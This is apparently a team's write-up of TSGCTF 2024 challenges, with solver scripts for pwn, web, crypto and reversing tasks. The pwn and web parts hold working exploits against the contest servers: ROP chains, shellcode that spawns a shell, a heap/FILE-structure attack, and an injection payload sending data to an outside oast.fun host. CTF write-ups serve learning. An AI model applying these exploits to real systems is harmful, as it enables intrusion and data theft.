TSGCTF 2024

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Pwn

Password-Ate-Quiz

There is an out-of-range reference so that we can leak the encrypted password and our input.

while (1) {
	int idx;
	printf("Enter a hint number (0~2) > ");
	if (scanf("%d", &idx) == 1 && idx >= 0) {
		for (int i = 0; i < 8; i++) {
			putchar(hints[idx][i]);
		}
		puts("");
	} else {
		break;
	}
}
void crypting(long long *secret, size_t len, long long key) {
	for (int i = 0; i < (len - 1) / 8 + 1; i++) {
		secret[i] = secret[i] ^ key;
	}
}

Our input is encrypted with above function in which just XOR is used so, we can leak the key by using following calculation:

key = input[0:8] ^ encrypted_input[0:8]

By using the leaked key, we can decrypt the password.

#!/usr/bin/env python
import sys
import ptrlib as ptr
import pwn

exe = ptr.ELF("./chall")
pwn.context.binary = pwn.ELF(exe.filepath)


def connect():
    if len(sys.argv) > 1 and sys.argv[1] == "remote":
        return pwn.remote("34.146.186.1", 41778)
    else:
        return pwn.process(exe.filepath)


def unwrap(x):
    if x is None:
        ptr.logger.error("Failed to unwrap")
        exit(1)
    else:
        return x


def main():
    io = connect()

    io.sendlineafter(b"> ", b"A" * 0x10)
    io.sendlineafter(b"> ", str(8).encode())
    key = ptr.u64(io.recvuntil(b"\nEnter", drop=True)) ^ 0x4141414141414141
    ptr.logger.info(f"key: {hex(key)}")

    password = b""
    for i in range(0x20 // 8):
        io.sendlineafter(b"> ", str(i + 4).encode())
        l = io.recvuntil(b"\nEnter", drop=True)
        assert len(l) == 8
        lu = ptr.u64(l)
        password += ptr.p64(lu ^ key)
        continue

    password = password.split(b"\0")[0]
    ptr.logger.info(f"password: {password}")
    io.sendlineafter(b"> ", b"a")
    io.sendlineafter(b"> ", password)

    io.interactive()
    return


if __name__ == "__main__":
    main()

vuln-img

author: zatsu

解法

scanf による自明なオーバーフローが存在する。
main 等のアドレスが \0a を含むため直接アドレスを入力することはできないが、読み込まれた画像に対する mprotect の結果が r-x であるため、画像データ中のアドレスを用いたROPができる。
各レジスタをsetするようなROP gadgetと add eax, 0xd8a7d76f; retpush rax; ret のようなgadgetを用いる事で main のアドレスに制御を移すことができるため、引数を適切にセットしてから mprotect を呼び出す直前に制御を移して img_data の領域を rwx にし、stack pivotによってshellを書き込んで実行することでshellが得られた。

コード

from ptrlib import *


e = ELF('./vuln_img')
p = Process('./vuln_img')

payload = b'A' * 0x110

#  ► 0x1004952 <img_data+18770>    pop    rdi
#    0x1004953 <img_data+18771>    sbb    eax, 0x4424a400
#    0x1004959 <img_data+18777>    ret
def set_rdi(addr):
    global payload
    payload += p64(0x1004952)
    payload += p64(addr)

#  ► 0x10023dc <img_data+9180>    pop    rbx
#    0x10023dd <img_data+9181>    ret 
def set_rbx(addr):
    global payload
    payload += p64(0x10023dc)
    payload += p64(addr)

#  ► 0x100771e <img_data+30494>    pop    rcx
#    0x100771f <img_data+30495>    ret 
def set_rcx(addr):
    global payload
    payload += p64(0x100771e)
    payload += p64(addr)

#  ► 0x100bb60 <img_data+47968>    pop    rsi
#    0x100bb61 <img_data+47969>    jmp    rcx
def set_rsi_and_jmp_to_rcx(addr):
    global payload
    payload += p64(0x100bb60)
    payload += p64(addr)

#  ► 0x1001fbf <img_data+8127>    pop    rdx
#    0x1001fc1 <img_data+8129>    test   dword ptr [rdi - 0x73], esp
#    0x1001fc4 <img_data+8132>    ret   
def set_rdx_with_readable_rdi(addr):
    global payload
    payload += p64(0x1001fbf)
    payload += p64(addr)

def jump(addr):
    global payload
    payload += p64(addr)

#  ► 0x100bf59 <img_data+48985>    pop    rbx
#    0x100bf5b <img_data+48987>    jmp    ptr [rbx - 0x333d9537]
def jump_by_rbx(addr):
    global payload
    payload += p64(0x100bf59)
    payload += p64((addr + 0x333d9537) & 0xffffffffffffffff)

# ► 0x1005585 <img_data+21893>    push   rbx
# 0x1005587 <img_data+21895>    stosd  dword ptr [rdi], eax
# 0x1005588 <img_data+21896>    ret
def ret_to_rbx_with_writable_rdi():
    global payload
    payload += p64(0x1005585)


def ret_to_rdx():
    global payload
    payload += p64(0x10026cc)

ret_addr = 0x100771f


payload += p64(0x1a00508) # imul   edx, ebp, 0xe8ef6803 の結果下3bitが7になるようにする
jump(ret_addr)
set_rdi(0x1001111) # readableなdummy
set_rdx_with_readable_rdi(7) # mprotectの第三引数
set_rdi(0x1000000)
set_rcx(ret_addr)
set_rsi_and_jmp_to_rcx(0x1000000)

#  ► 0x100c30e <img_data+49934>    pop    rax
#    0x100c30f <img_data+49935>    ret  
payload += p64(0x100c30e)
payload += p64((1<<64) - 0xd8a7d76f + 0xa0001ff) #  a0001ff: call   a000900 <mprotect@plt>

#    0x10058bb <img_data+22715>    add    eax, 0xd8a7d76f
#    0x10058c0 <img_data+22720>    std    
#    0x10058c1 <img_data+22721>    ret   
payload += p64(0x10058bb)

#    0x100b9d1 <img_data+47569>    push   rax
#    0x100b9d2 <img_data+47570>    imul   edx, ebp, 0xe8ef6803
#    0x100b9d8 <img_data+47576>    ret    
# payload += p64(0x100b9d1)

set_rbx(ret_addr)

#  ► 0x100b3ff <img_data+46079>    push   rax
#    0x100b400 <img_data+46080>    push   rbx
#    0x100b401 <img_data+46081>    push   rbx
#    0x100b402 <img_data+46082>    ret   
payload += p64(0x100b3ff)


p.sendlineafter('> ', payload)
p.sendlineafter('> ', 'exit')


payload = b'A' * 0x110 + p64(0x1a002f8) # next rbp
payload += p64(0x100c30e)
payload += p64((1<<64) - 0xd8a7d76f + 0xa000204) #  a0001ff: call   a000900 <mprotect@plt>
payload += p64(0x10058bb)
set_rbx(ret_addr)
payload += p64(0x100b3ff)

p.sendlineafter('> ', payload)
p.sendlineafter('> ', 'exit')

# shellcode
payload = b'Z' * 0x110 + p64(0x1a00000) + p64(0x1a00308) + b"\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x00\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x31\xc0\xb0\x3b\x0f\x05"

p.sendlineafter('> ', payload)


p.interactive()

piercing_misty_mountain

piercing_misty_mountain: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, BuildID[sha1]=e12cc43525ce486435ec085011d7731a2da229c0, for GNU/Linux 3.2.0, not stripped
[*] '/root/workspace/piercing_misty_mountain'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

There is a BOF in profile function.

int profile() {
  char job[0x8] = "Job:";
  char age[0x8];
  printf("Job > ");
  read_n(job + 4, 0x18 - 4);
  printf("Age > ");
  read_n(age, 0x8);
  return atoi(age);
}

By using above BOF, we can overwrite the saved RIP but not write a ROP chain. So, we have to write the ROP chain in advance. By doing stack pivot and returning to main we can write the ROP chain to arbitrary area.

0x4c8000 <initial+672>: 0x4343434343434343      0x4343434343434343
0x4c8010 <initial+688>: 0x000000000040217f      0x00000000004c8100
0x4c8020 <initial+704>: 0x000000000040a1ee      0x0000000000000000
0x4c8030 <initial+720>: 0x000000000044afa2      0x0000000000000000
0x4c8040 <initial+736>: 0x0000000000450847      0x000000000000003b
0x4c8050 <initial+752>: 0x000000000041b326      0x0000000000000000
0x4c8060 <initial+768>: 0x0000000000000000      0x0000000000000000
0x4c8070 <initial+784>: 0x0000000000000000      0x0000000000000000
0x4c8080 <initial+800>: 0x0000000000000000      0x0000000000000000
0x4c8090 <initial+816>: 0x0000000000000000      0x0000000000000000

After writing the ROP chain, we can use the BOF again to do stack pivot and return to profile, then rewrite RIP so that it connects to the ROP chain we just wrote, and we can get a shell.

0x4c8000 <initial+672>: 0x4141414141414141      0x000000000040101a
0x4c8010 <initial+688>: 0x000000000040217f      0x00000000004c8100
0x4c8020 <initial+704>: 0x000000000040a1ee      0x0000000000000000
0x4c8030 <initial+720>: 0x000000000044afa2      0x0000000000000000
0x4c8040 <initial+736>: 0x0000000000450847      0x000000000000003b
0x4c8050 <initial+752>: 0x000000000041b326      0x0000000000000000
0x4c8060 <initial+768>: 0x0000000000000000      0x0000000000000000
0x4c8070 <initial+784>: 0x0000000000000000      0x0000000000000000
0x4c8080 <initial+800>: 0x0000000000000000      0x0000000000000000
0x4c8090 <initial+816>: 0x0000000000000000      0x0000000000000000
#!/usr/bin/env python
import sys
import ptrlib as ptr
import pwn

exe = ptr.ELF("./piercing_misty_mountain")
pwn.context.binary = pwn.ELF(exe.filepath)

def connect():
    if len(sys.argv) > 1 and sys.argv[1] == "remote":
        return pwn.remote("34.146.186.1", 41777)
    else:
        return pwn.process(exe.filepath)


def unwrap(x):
    if x is None:
        ptr.logger.error("Failed to unwrap")
        exit(1)
    else:
        return x


def main():
    io = connect()

    def sla(delim: bytes, data: bytes):
        io.sendlineafter(delim, data)
        return

    def sa(delim: bytes, data: bytes):
        io.sendafter(delim, data)
        return

    def ru(delim, drop=False) -> bytes:
        return io.recvuntil(delim, drop=drop)

    def rl() -> bytes:
        return io.recvline()

    free_space = 0x4C8000
    ptr.logger.info(f"free_space: {hex(free_space)}")
    profile = unwrap(exe.symbol("profile"))
    main = unwrap(exe.symbol("main"))

    sla(b"> ", b"5unset")
    sla(b"> ", b"3")

    payload = b""
    payload += b"A" * 4
    payload += ptr.p64(free_space + 0x1000)
    payload += ptr.p64(main + 15)
    sa(b"> ", payload)
    sa(b"> ", b"B" * 8)

    payload = b""
    payload += b"C" * 0x10
    payload += ptr.p64(next(exe.gadget("pop rdi; ret;")))
    payload += ptr.p64(free_space + 0x100)
    payload += ptr.p64(next(exe.gadget("pop rsi; ret;")))
    payload += ptr.p64(0)
    payload += ptr.p64(next(exe.gadget("pop rdx; ret;")))
    payload += ptr.p64(0)
    payload += ptr.p64(next(exe.gadget("pop rax; ret;")))
    payload += ptr.p64(59)
    payload += ptr.p64(next(exe.gadget("syscall; ret;")))
    payload = payload.ljust(0x100, b"\0")
    payload += b"/bin/sh\0"
    sla(b"> ", payload)
    sla(b"> ", b"3")

    payload = b""
    payload += b"A" * 4
    payload += ptr.p64(free_space)
    payload += ptr.p64(profile + 12)

    sa(b"> ", payload)
    sa(b"> ", b"B" * 8)

    payload = b""
    payload += b"A" * 12
    payload += ptr.p64(next(exe.gadget("ret;")))
    sa(b"> ", payload)
    sa(b"> ", b"B" * 8)

    io.interactive()
    return


if __name__ == "__main__":
    main()

FL_Support_Center

import secrets
from typing import Literal, Optional
from more_itertools import chunked
from pwn import *

BIN_NAME = "./fl_support_center.patched"
REMOTE_LIBC_PATH = "./lib/libc.so.6"
LOCAL = not ("REMOTE" in args)

context.binary = chall = ELF(BIN_NAME)

# if LOCAL: stream = process(BIN_NAME)
if LOCAL: stream = remote("localhost", 49867)
else: stream = remote("34.146.186.1", 49867)

# if name not in black_list and len(name) < 0x100:
#   friends_list[name] = ""
def add(name: bytes):
  stream.sendlineafter(b"> ", b"1")
  stream.sendlineafter(b": ", name)

# 2 回まで呼べる
# if len(message) < 0x100:
#   if friends_list[name] == "" or input("delete?") == "yes":
#     friends_list[name] = message
def message(name: bytes, message: bytes, yn: Optional[Literal["yes"] | Literal["no"]]=None):
  stream.sendlineafter(b"> ", b"2")
  stream.sendlineafter(b": ", name)
  stream.sendlineafter(b": ", message)
  if yn is not None:
    # TODO: old
    stream.sendlineafter(b"> ", yn.encode())

def list():
  stream.sendlineafter(b"> ", b"3")
  data = stream.recvuntil(b"\n1. Add", drop=True).decode()
  friends_list = {}
  entries = data.split("----------------------------------------------\n")
  for entry in entries:
    if entry.strip():
      lines = entry.strip("\n").split("\n")
      print(lines)
      name = lines[0].split(": ")[1]
      message = lines[1].split(": ")[1]
      friends_list[name] = message
  return friends_list

def remove(name: bytes, message: Optional[bytes]=None):
  stream.sendlineafter(b"> ", b"4")
  stream.sendlineafter(b": ", name)
  if message is not None:
    stream.sendlineafter(b": ", message)

SUPPORT = b"FL*Support*Center@fl.support.center"
FAKE_SUPPORT_1 = b'a' * len(SUPPORT)

add(FAKE_SUPPORT_1)
remove(FAKE_SUPPORT_1)

add(FAKE_SUPPORT_1)
message(FAKE_SUPPORT_1, b"A" * 0xff)

remove(FAKE_SUPPORT_1, message=SUPPORT)
l = stream.recvline_startswith(b"Do you want to delete the sent message: ")
stream.sendline(b"n")
leak = l.split(b": ")[1]

tcache_next = unpack(leak[:8])
tcache_key = unpack(leak[8:16])

print(f'{hex(tcache_next)=}')
print(f'{hex(tcache_key)=}')

# heap_base = (tcache_next << 12) - 0x13000 # FOR LOCAL
heap_base = (tcache_next << 12) - 0x12000
print(f'{hex(heap_base)=}')

SUPPORT_ADDR = heap_base + 0x11f50
print(f'{hex(SUPPORT_ADDR)=}')

def aar(addr: int, length: int):
  print(f'[+] aar({hex(addr)}, {length})')
  name = secrets.token_hex(len(SUPPORT) // 2).encode()
  add(name)
  remove(name)
  add(name)
  remove(
    name,
    b"A" * 0x20 + 
    pack(SUPPORT_ADDR) + pack(len(SUPPORT)) + 
    b"A" * 0x10 + 
    pack(addr) + pack(length) +
    b"A" * 0x10
  )

  l = stream.recvline_startswith(b"Do you want to delete the sent message: ")
  stream.sendlineafter(b"> ", b"no")
  return l.split(b": ", 1)[1][:length]

# insert to unsorted
ITER = 7
for i in range(ITER):
  add(str(i).encode() * 0xf0)
for i in range(ITER):
  remove(str(i).encode() * 0xf0)
for i in range(ITER):
  add(str(i).encode() * 0xf0)
for i in range(ITER):
  remove(str(i).encode() * 0xf0, b"a")

# tcache pos is random :(
# leak = aar(heap_base + 0x13580, 0x100) # remote
leak = aar(heap_base + 0x12200, 0x100)

libc = ELF(REMOTE_LIBC_PATH)
for chunk_list in chunked(leak, 8):
  arena_addr = unpack(bytes(chunk_list))
  if (arena_addr & 0xfff) == 0xce0:
    print(f'[+] {hex(arena_addr)=}')
    libc.address = arena_addr - 0x21ace0
    print(f'[+] {hex(libc.address)=}')
    break

# stream.interactive()

def aaw(addr: int, payload: bytes):
  print(f'[+] aaw({hex(addr)}, {payload})')
  name = secrets.token_hex(len(SUPPORT) // 2).encode()
  add(name)
  remove(name)
  add(name)
  remove(
    name,
    b"A" * 0x20 + 
    pack(SUPPORT_ADDR) + pack(len(SUPPORT)) + 
    b"A" * 0x10 + 
    pack(addr) + pack(len(payload)) +
    b"A" * 0x10
  )
  assert len(payload) < 0x100
  stream.sendlineafter(b"> ", b"yes")
  stream.sendlineafter(b": ", payload)

write_addr = libc.symbols["_IO_2_1_stdout_"]
fake_file = b''
fake_file += p64(0x3b01010101010101) # flags
fake_file += b"/bin/sh\0" # read_ptr
fake_file = fake_file.ljust(0x28, b'\x00')
fake_file += p64(1)
fake_file = fake_file.ljust(0x68, b'\x00')
fake_file += p64(libc.symbols["system"])             # _IO_jump_t.__doallocate
fake_file = fake_file.ljust(0x88, b'\x00')
fake_file += p64(libc.address + 0x21ca70) # _IO_file.lock
fake_file = fake_file.ljust(0xa0, b'\x00')
fake_file += p64(write_addr)                          # _IO_file.wide_data
fake_file = fake_file.ljust(0xc0, b'\x00')
fake_file += p64(0)                                       # _IO_file._mode
fake_file = fake_file.ljust(0xd8, b'\x00')
fake_file += p64(libc.symbols["_IO_wfile_jumps"])    # _IO_file.vtable
fake_file = fake_file.ljust(0xe0, b'\x00')
fake_file += p64(write_addr)                   # _IO_wide_data.vtable

aaw(write_addr, fake_file)

stream.interactive()

SQLite of Hand

Not Solved

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Web

Toolong Tea

Author: zatsu

解法

num に型チェックが存在しないため、[65536, 2, 3] のような値を送信すると長さチェックをバイパスして parseInt(num, 10) === 65536 を達成できる

コード

import requests

url = 'http://34.84.71.29:4932/'

json = {
    "num": [65536, 2, 3],
}

res = requests.post(url, json=json)
print(res.text)

I Have Been Pwned

Author: hiikunZ

$ curl -X POST http://34.84.32.212:8080/ -d "auth=guest&password=%00
<br />
<b>Fatal error</b>:  Uncaught ValueError: Bcrypt password must not contain null character in /var/www/html/index.php:21
Stack trace:
#0 /var/www/html/index.php(21): password_hash('PmVG7xe9ECBSgLU...', '2y')
#1 {main}
  thrown in <b>/var/www/html/index.php</b> on line <b>21</b><br />

$pepper1 をリークして、authadmin にして hash を次のコードで捏造する。ここでハッシュされる文字列の前 8 文字さえあってれば verify が通るので、解けた。

echo base64_encode(crypt("PmVG7xe9","ZZ"));

flag: TSGCTF{Pepper. The ultimate layer of security for your meals.}

Cipher Preset Button

response = requests.post(f"{HEAD}/preset", json={
  "name": "</title><base href='https://fyelosrixjovnwxnntlee714qfmft8zad.oast.fun/'/> \x1b(J<style",
  "prefix": f"\"+'A'.repeat(100)//"
})
print(response.text)
id = response.json()["id"]

path = f"/presets/{id}"
response = requests.post(f"{HEAD}/report", json={
  "path": path
})

req = json.loads(input("requst> "))

result = req["result"]
print(bytes([c ^ ord("A") for c in bytes.fromhex(result)[1::2]]))

Crypto

Mystery of Scattered Key

Author: みゃう

Problem

from Crypto.Util.number import getStrongPrime
from random import shuffle

flag = b"FAKE{THIS_IS_FAKE_FLAG}"


p = getStrongPrime(1024)
q = getStrongPrime(1024)

N = p * q
e = 0x10001
m = int.from_bytes(flag, "big")
c = pow(m, e, N)


# "Aaaaargh!" -- A sharp, piercing scream shattered the silence.

p_bytes = p.to_bytes(128, "big")
q_bytes = q.to_bytes(128, "big")

fraction_size = 2
p_splitted = [int.from_bytes(p_bytes[i : i + fraction_size], "big") for i in range(0, len(p_bytes), fraction_size)]
q_splitted = [int.from_bytes(q_bytes[i : i + fraction_size], "big") for i in range(0, len(q_bytes), fraction_size)]

shuffle(p_splitted)
shuffle(q_splitted)


print(f"N = {N}")
print(f"c = {c}")
print(f"p_splitted = {p_splitted}")
print(f"q_splitted = {q_splitted}")

Solution

The RSA primes

p,
q
are split into 2-bytes segments and shuffled. By reconstructing the correct sequence of the split parts, we have

p=p0+216p1+232p2+,q=q0+216q1+232q2+.

Given

N=pq, the relationship for
p0
,
q0
can be expressed as

Np0q0(mod216).

Using this relationship, we can search for pairs

(pi,qi) that satisfy it from the shuffled segments. The same process can be applied sequentially for
232,264,
.

Note that the search may yield multiple candidates, not just one unique pair.

Solver

from collections import deque
from output import p_splitted, q_splitted, N, c
from Crypto.Util.number import inverse, long_to_bytes


def bfs_find_p_q(p_splitted, q_splitted, N, length):
    queue = deque([(0, [], [])])

    while queue:
        i, current_ps, current_qs = queue.popleft()

        if i == length:
            return current_ps, current_qs

        partial_N = N % 2 ** (16 * (i + 1))
        partial_p_poly = sum(
            [pi * (2 ** (16 * idx)) for idx, pi in enumerate(current_ps)]
        ) % (2 ** (16 * (i + 1)))
        partial_q_poly = sum(
            [qi * (2 ** (16 * idx)) for idx, qi in enumerate(current_qs)]
        ) % (2 ** (16 * (i + 1)))

        for pi in p_splitted:
            for qi in q_splitted:
                if (
                    (partial_p_poly + pi * (2 ** (16 * i)))
                    * (partial_q_poly + qi * (2 ** (16 * i)))
                ) % (2 ** (16 * (i + 1))) == partial_N:
                    queue.append((i + 1, current_ps + [pi], current_qs + [qi]))

    raise Exception("No valid solution found.")


LENGTH = len(p_splitted)

found_ps, found_qs = bfs_find_p_q(p_splitted, q_splitted, N, LENGTH)

p = sum([pi * (2 ** (16 * idx)) for idx, pi in enumerate(found_ps)])
q = sum([qi * (2 ** (16 * idx)) for idx, qi in enumerate(found_qs)])

print(f"p = {p}")
print(f"q = {q}")
assert p * q == N

e = 0x10001
m = pow(c, inverse(e, (p - 1) * (q - 1)), p * q)
print(long_to_bytes(m).decode())
p = 133846079567033356295611663807472620387209233565787526555738846382718344891721831631688559264099570540393849521623918732060226890640580063490864556922128525956884002008979132603720649145351885711269969451344880448760955136344150312478430955260159658688415728407730512351844988228785331625665794917259257926213
q = 151355518372765120493327934762926630893438167972334488889493051813724826088782068105390566319924248423756649210493142888195116144950614724981735824913625568893513234575823641661316419754786310456460557346632081385143889518584132516903169499774904766562459218546051354207232352829994450058475821789976020567069
TSGCTF{Yasu_is_the_culprit_4977d14abf9a4fad90d87046d2ee7e7d}

Feistel Barrier

Author: hiikunZ

c が復号できないが普通に
c+n
を復号してもらえるので、あとは復元するだけ

from pwn import *
from hashlib import sha256


io = remote("34.146.145.253", 10961)

io.recvuntil(b"n = ")
n = int(io.recvline().strip())
io.recvuntil(b"chal = ")
chal = bytes.fromhex(io.recvline().strip().decode())

c = int.from_bytes(chal, "big") + n
c = c.to_bytes(129, "big")

io.recvuntil(b"ciphertext: ")
io.sendline(c.hex().encode())
res = bytes.fromhex(io.recvline().strip().decode())

io.close()

maskedSeed = res[1 : 1 + 32]
maskedDB = res[1 + 32 :]


k = 1024 // 8
h_len = 32
def mgf(seed, mask_len):
    if mask_len > 2**32:
        raise ValueError("mask too long")
    t = b""
    for i in range(mask_len // h_len + 1):
        t += sha256(seed + i.to_bytes(4, "little")).digest()
    return t[:mask_len]


seedMask = mgf(maskedDB, h_len)


def xor(a, b):
    return bytes(x ^ y for x, y in zip(a, b))


seed = xor(maskedSeed, seedMask)
dbMask = mgf(seed, k - h_len - 1)
db = xor(dbMask, maskedDB)

print(db.split(b"\x01")[-1].decode())

Easy? ECDLP

The problem is to compute the discrete log over

Zp4. Our team member found similar challenge(pure division@zer0pts ctf 2021) writeup: https://mitsu1119.github.io/blog/p/zer0pts-ctf-2021-writeup-日本語/.
Though we could apply the technique partially, we needed to analyze further (secret is 1024bit, but we only obtainedsecret
(modp3)
(756bit).)
Fortunatelly, we realized the curve over
GF(p)
is anomalous. So we combined the technique of SSSA attack(Hensel lifting), we obtained the flag.

from Crypto.Util.number import bytes_to_long, long_to_bytes import random rng = random.SystemRandom() a, b = [0x1c456bfc3fabba99a737d7fd127eaa9661f7f02e9eb2d461d7398474a93a9b87,0x8b429f4b9d14ed4307ee460e9f8764a1f276c7e5ce3581d8acd4604c2f0ee7ca] X,Y,Z = (92512155407887452984968972936950900353410451673762367867085553821839087925110135228608997461366439417183638759117086992178461481890351767070817400228450804002809798219652013051455151430702918340448295871270728679921874136061004110590203462981486702691470087300050508138714919065755980123700315785502323688135 ,40665795291239108277438242660729881407764141249763854498178188650200250986699 , 1) p = 0xd9d35163a870dc6dfb7f43911ff81c964dc8e1dd2481fdf6f0e653354b59c5e5 ec = EllipticCurve(Zmod(p**4),[a,b]) P = ec.point((X,Y,Z)) secP_xy = (62273117814745802387117000953578316639782644586418639656941009579492165136792362926314161168383693280669749433205290570927417529976956408493670334719077164685977962663185902752153873035889882369556401683904738521640964604463617065151463577392262554355796294028620255379567953234291193792351243682705387292519, 518657271161893478053627976020790808461429425062738029168194264539097572374157292255844047793806213041891824369181319495179810050875252985460348040004008666418463984493701257711442508837320224308307678689718667843629104002610613765672396802249706628141469710796919824573605503050908305685208558759526126341) prec = 4 Qp = pAdicField(p, prec) E4 = EllipticCurve(Qp, [a, b]) Fp = GF(p) Ef = EllipticCurve(Fp, [a, b]) N = Ef.order() print(f"is_ordinary: {Ef.is_ordinary()}") print(f"order==p?: {N==p}") ## modified from http://mslc.ctf.su/wp/polictf-2012-crypto-500/ def hensel_lift(curve, p, point): A, B = (a, b) x, y = map(lambda val:int(val.lift()), point.xy()) fr = y**2 - (x**3 + A*x + B) assert fr % p**4 == 0 t = int((- fr / p**4) % p) t *= pow(int(2 * y), -1, int(p)) # (y**2)' = 2 * y t = int(t % p**4) new_y = y + t * p**4 return x, new_y S = E4((X, Y)) T = E4(secP_xy) x1, y1 = hensel_lift(E, p, S) x2, y2 = hensel_lift(E, p, T) # redefine after Hensel lifting Qp = pAdicField(p, prec+1) E = EllipticCurve(Qp, [a, b]) S = E((x1, y1)) T = E((x2, y2)) ## from https://mitsu1119.github.io/blog/p/zer0pts-ctf-2021-writeup-%E6%97%A5%E6%9C%AC%E8%AA%9E/ NS = N * S a = Fp(-NS[0] / (p * NS[1])) n = 0 l = 1 Sp = S Tp = T ds = [] while Tp != 0: NTp = N*Tp w = -NTp[0] / NTp[1] b = w / p^l d = Fp(Integer(b)/a) ds.append(Integer(d)) Tp = Tp - Integer(d)*Sp Sp = p*Sp n += 1 l += 1 if n > prec: break solve = 0 for i in range(len(ds)): solve += ds[i] * p^i print(long_to_bytes(solve)) #is_ordinary: True #order==p?: True #b"TSGCTF{HeNSel's L3mMa 1s s0 usefUl!}|D\x06\xd8\xe6\x12\xde\x8d\x13\x05\xff\xe8\x92c0#b\xe1\xd9K,\xec\x1fA\xe7\xf3\xda\x13np\xeb\xb4zM\xb4\xac\xe2l\xe4(\x08\x9ap\xe4HV\x1c:f\x18;5\xd2\x85_:Fs\xbf\xf7\xe8\xacjo\xe0\xf0\x15\xab\x91H\r~Kl#\x9b\x16\xde-uj\xda\x8b\x87)o\xe6\xdcZ\xf5\x9e"

Who is the Outlier?

secret_keyに関する連立一次方程式が得られているため、これを使ってsecret_keyを復元できる。ciphertextsの前半と後半のいずれかはdisagreeを含まないため、両方試すことによってdisagreeを無視できる。あとは通常の方法でdecryptするとよい。

exec(read("output.txt"))
A = Matrix(Zmod(p), n, n)
for i in range(n):
    for j in range(n):
        A[i,j] = ciphertexts[n+j][i]
b = vector(Zmod(p), n)
for i in range(n):
    b[i] = ciphertexts[n+i][-1] - 1*(p//q)
secret_key = A.solve_left(b)

def dot(a,b,p):
    assert len(a) == len(b)
    return sum([(a[i]*b[i])%p for i in range(len(a))])%p

flag = ""
for enc in encrypted_flag:
    v = enc[-1] - dot(secret_key, enc[:-1], p)
    flag += chr(int(floor(int(v) / (p//q))))
print(flag)

CONPASS

Author: hiikunZ
mydecoder の処理がガバガバで、{"time":"hoge","":"<data>"} の形を作ると <data>"\ 以外の文字が全て使える。

modn
0
になるようなデータを作れば、署名も
0
になって OK。

import time
import math
import requests
import json

positions = {
    "user": [3861, -67500, 50947],
    "sat0": [67749, 27294, 94409],
    "sat1": [38630, -52128, -9112],
    "sat2": [-86459, -74172, 8698],
    "sat3": [36173, -84060, 95354],
    "flag": [0, 0, 0],
}

data = {}


def distance(a, b):
    dist = 0
    for i in range(3):
        dist += (a[i] - b[i]) ** 2
    return math.sqrt(dist)


host = "http://34.146.145.253:42001/"

ut = time.time()

for target in ["sat0", "sat1", "sat2", "sat3"]:
    t = ut - distance(positions[target], positions["flag"])
    t = int(t)
    response = requests.get(host + target)
    dat = response.json()
    n = dat["public_key"]["n"]

    res = '{"time":' + str(t) + ',"data":"' + "\x00" * 200 + '"}'
    res = res.encode()
    res = int.from_bytes(res, "little")
    print(hex(res))

    y = -res % n
    y = (y * pow(256 ** len('{"time":' + str(t) + ',"data":"'), -1, n)) % n

    while True:
        x = y.to_bytes(200, "little")
        assert len(x) == 200
        real_res = b'{"time":' + str(t).encode() + b',"data":"' + x + b'"}'
        print(real_res)

        res = int.from_bytes(real_res, "little")
        assert res % n == 0

        if not b'"' in x and b"\\" not in x:
            break
        y += n

    data[target] = {}
    data[target]["data"] = real_res.hex()
    data[target]["sign"] = "00"


json_data = json.dumps(data)
response = requests.post(
    host + "auth", data=json_data, headers={"Content-Type": "application/json"}
)
print(response.json())

Easy?? ECDLP

Not Solved

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Reversing

Misbehave

Author: zatsu

解法

デコンパイルされたコードを読むと、入力を4文字毎に区切って gen_rand() で生成した乱数とxorを行い、その結果を memcmp によって flag_enc と比較していることが分かる。
また、init の処理によって memcmp の処理が差し替えられており、memcmp 中に乱数のstateが変化していることも確認できた。
乱数の出力は gen_rand() が呼ばれる直前までの入力文字から定まるため、gdbで gen_rand() の返り値を得て、それと flag_enc の結果をxorして新たな入力とする処理を繰り返すことでフラグを得られた。

コード


import gdb

rnd = [3542627188, 2616472058, 820737800, 3317136477, 10439305, 908029029, 2164904520, 817214727, 205657852, 3787318749, 321275647, 2837809417]

flag_enc= b'\x20\x60\x6f\x90\xae\x77\x8f\xf3\xfc\x09\xa5\x5e\xdd\x6b\x39\x51\xdf\xfd\x6e\x5e\xa8\x60\x88\x85\xbc\xd7\x95\x52\x75\xe9\x82\xf3\xb7\xa2\x04\x95\x4a\x0e\x5c\x67\x53\x81\x13\xbf\x34\x61\x70\xc1'

res = b''

print(res)
print(len(flag_enc))

def opt():
    global res
    global byte_4
    global rnd
    print(res)
    with open('file', 'wb') as f:
        f.write(res)
    gdb.execute('file ./misbehave')
    gdb.execute('b *main+74')
    gdb.execute('r < file')
    l = []
    while True:
        r = gdb.parse_and_eval('$rax')
        print(hex(r))
        l.append(int(r))
        print(len(l))
        if len(l) == 12:
            break
        gdb.execute('c')
    gdb.execute('det')

    res = b''
    for i in range(0xc):
        byte_4 = int.from_bytes(flag_enc[i*4:i*4+4], 'little') ^ rnd[i]
        res += int.to_bytes(byte_4, 4, 'little')
    rnd = l
    print(res)

for i in range(48):
    opt()

Warmup SQLite

バイトコードの58行目付近を読むとMultiply,Add,Remainderの3命令が連なっていることがわかる。ここからフラグの各文字

cに対して
(ca+b) mod 256
のような演算を行っていると予想して、逆算するソルバーを書くとフラグが得られた。

res = [100, 115, 39, 99, 100, 54, 27, 115, 69, 220, 69, 99, 100, 191, 56, 161, 131, 11, 101, 162, 191, 54, 130, 175, 205, 191, 222, 101, 162, 116, 147, 191, 55, 24, 69, 130, 69, 191, 252, 101, 102, 101, 252, 189, 82, 116, 41, 147, 161, 147, 132, 101, 162, 82, 191, 220, 9, 205, 9, 100, 191, 38, 68, 253]
flag = 'TSGCTF{'

from z3 import *

a, b = BitVec('a', 8), BitVec('b', 8)

s = Solver()
for i in range(len(flag)):
  s.add((ord(flag[i]) * a + b) & 0xff == res[i])
assert s.check() == sat

m = s.model()
a = m[a].as_long()
